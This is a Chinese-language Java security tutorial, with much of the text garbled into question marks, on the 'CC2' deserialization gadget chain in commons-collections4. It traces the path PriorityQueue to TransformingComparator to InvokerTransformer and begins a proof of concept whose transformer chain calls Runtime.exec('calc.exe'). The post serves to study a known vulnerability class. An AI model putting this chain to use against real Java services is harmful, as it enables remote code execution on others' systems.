Java安全之CC2

前言由于在2015年底commons-collections反序列化利?链被提出时 , Apache Commons Collections有以下两个分?版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4
可?,groupId和artifactId都变了 。前者是Commons Collections?的版本包,当时版本号是3.2.1;后 者是官?在2013年推出的4版本,当时版本号是4.0 。
【Java安全之CC2】官?认为旧的commons-collections有?些架构和API设计上的问题 , 但修复这些问题,会产??量不能 向前兼容的改动 。所以,commons-collections4不再认为是?个?来替换commons-collections的新版 本,?是?个新的包,两者的命名空间不冲突,因此可以共存在同?个项?中 。那么很?然有个问题,既然3.2.1中存在反序列化利?链,那么4.0版本是否存在呢?
commons-collections4的改动因为这?者可以共存 , 所以我可以将两个包安装到同?个项?中进??较:
<dependencies> <!-- https://mvnrepository.com/artifact/commons-collections/commonscollections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency> <!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version> </dependency></dependencies因为?的Gadget中依赖的包名都是org.apache.commons.collections ,?新的包名已经变 了,是org.apache.commons.collections4。我们?已经熟悉的CC6利?链做个例?,我们直接把代码拷??遍,然后将所import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.*。此时IDE爆出了?个错误 , 原因是LazyMap.decorate这个?法没了:
Java安全之CC2

文章插图
看下decorate的定义,?常简单:
public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}这个?法不过就是LazyMap构造函数的?个包装,?在4中其实只是改了个名字叫lazyMap
public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, finalTransformer<? super K, ? extends V> factory) {return new LazyMap<K,V>(map, factory);}所以,我们将Gadget中出错的代码换?下名字:
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
Java安全之CC2

文章插图
同理 , 之前的CC1,CC3利用链都可以在commonscollections4中正常使用
commons-collections之所以有许多利?链,除了因为其使?量?,技术上的原因是其 中包含了?些可以执?任意?法的Transformer 。所以在commons-collections中找Gadget的过 程,实际上可以简化为,找?条从 Serializable#readObject()?法到 Transformer#transform()?法的调?链 。
CC2其中两个关键类:
  • java.util.PriorityQueue -
  • org.apache.commons.collections4.comparators.TransformingComparator
java.util.PriorityQueue是?个有??readObject()?法的类:
Java安全之CC2

文章插图
org.apache.commons.collections4.comparators.TransformingComparator 中有调 ?transform()?法的函数:
public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);}所以CC2实际就是?条从 PriorityQueueTransformingComparator的利?链
/* Gadget chain:ObjectInputStream.readObject()PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()Runtime.exec() */关于 PriorityQueue 这个数据结构的具体原理 , 可以参考这篇?章:https://www.cnblogs.com/linghu-java/p/9467805.html
开始编写POC,?先,还是创建Transformer:
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(transformers);

推荐阅读